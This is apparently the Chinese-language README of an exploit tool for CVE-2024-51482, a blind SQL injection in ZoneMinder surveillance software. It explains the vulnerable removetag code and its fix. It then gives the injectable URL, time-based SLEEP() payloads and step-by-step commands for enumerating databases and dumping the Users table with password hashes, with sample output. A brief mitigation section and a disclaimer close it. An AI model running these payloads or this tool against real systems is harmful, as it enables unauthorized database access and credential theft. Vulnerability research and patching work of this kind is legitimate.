CVE-2024-51482 是 ZoneMinder(一款流行的开源闭路电视监控软件)中发现的一个严重基于布尔的 SQL 注入漏洞。该漏洞影响 1.37.* 至 1.37.64 版本,允许具有低权限的已认证攻击者在底层数据库服务器上执行任意 SQL 命令。
| 指标 | 值 |
|---|---|
| CVE ID | CVE-2024-51482 |
| CVSS 评分 | 9.9(严重) |
| 攻击向量 | 网络 |
| 所需权限 | 低 |
| 用户交互 | 无 |
| 影响范围 | 已改变 |
| 影响 | 机密性、完整性、可用性 - 高 |
| 已修补版本 | 1.37.65 |
该漏洞存在于 web/ajax/event.php 文件中的 removetag 函数中。参数 tid(标签 ID)直接拼接到 SQL 查询中,没有经过适当的清理或参数化。
漏洞代码:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE!
$rowCount = dbNumRows($sql);
// ...
修复代码:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query
易受攻击的端点可以通过以下方式触发:
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[INJECTION_POINT]
注入点不会直接在响应中返回查询结果,因此传统的 UNION 基于攻击不可行。相反,我们必须通过布尔条件或时间延迟来推断信息。
我们的利用程序使用基于时间的数据提取,配合 SLEEP() 函数:
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
当此条件评估为真时,数据库休眠 2 秒,从而在 HTTP 响应中产生可测量的延迟。
ASCII(SUBSTRING()) > MID 测试范围。SLEEP。提取位置 1 的字符的示例载荷:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# 克隆仓库
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# 赋予脚本可执行权限
chmod +x CVE-2024-51482.py
# 安装所需依赖
pip3 install requests
# 测试目标是否易受攻击
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --test
# 发现所有数据库
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
# 列出特定数据库中的表
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --tables zm
# 列出特定表中的列
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --columns zm Users
# 转储特定列的数据
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Users "Username,Password"
# 转储用户表(默认)
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
# 启用调试输出以查看详细提取过程
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --debug
# 调整休眠时间以使提取更可靠
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --sleep 3
# 禁用彩色输出
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --no-color
示例 1:漏洞测试
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder 盲 SQL 注入利用程序
[*] 目标:192.168.1.100
[*] 正在以 'admin' 身份登录 192.168.1.100...
[+] 登录成功
[*] 测量基准响应时间...
[*] 基准中位数:0.058s
[*] 使用 2s 休眠测试漏洞...
[+] 目标易受攻击!
示例 2:数据库枚举
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder 盲 SQL 注入利用程序
[*] 目标:<target-host>
[*] 正在以 'admin' 身份登录 <target-host>...
[+] 登录成功
[*] 测量基准响应时间...
[*] 基准中位数:0.065s
[*] 使用 2s 休眠测试漏洞...
[+] 目标易受攻击!
[*] 正在枚举数据库...
[+] 发现数据库:information_schema
[+] 发现数据库:performance_schema
[+] 发现数据库:zm
[+] 发现的数据库:
1. information_schema
2. performance_schema
3. zm
示例 3:转储用户凭据
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder 盲 SQL 注入利用程序
[*] 目标:<target-host>
[*] 正在以 'admin' 身份登录 <target-host>...
[+] 登录成功
[*] 测量基准响应时间...
[*] 基准中位数:0.062s
[*] 使用 2s 休眠测试漏洞...
[+] 目标易受攻击!
[*] 正在从 zm 数据库转储 Users 表...
[*] 正在枚举 'zm.Users' 中的列...
[+] 发现列:Id
[+] 发现列:Username
[+] 发现列:Password
[+] 发现列:Language
[+] 发现列:Enabled
[*] 正在从 'zm.Users' 转储数据...
[+] 行 1:{'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] 行 2:{'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] 提取到的用户:2
用户:admin
密码:$2y$10$...hashed...
邮箱:admin@localhost
启用:1
用户:operator
密码:$2y$10$...hashed...
邮箱:operator@localhost
启用:1
示例 4:自定义数据提取
# 转储 Events 表中的特定列
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2) 载荷进行测试以验证注入是否有效。ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} 。SLEEP → 响应延迟。sudo apt-get update
sudo apt-get install zoneminder
# Apache 配置
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
此工具仅供教育和安全测试之用。未经授权测试计算机系统是违法的。在测试任何系统之前,请务必获得适当授权。
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| 指标 | 值 |
|---|
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 低 |
| 用户交互 | 无 |
| 影响范围 | 已改变 |
| 机密性 | 高 |
| 完整性 | 高 |
| 可用性 | 高 |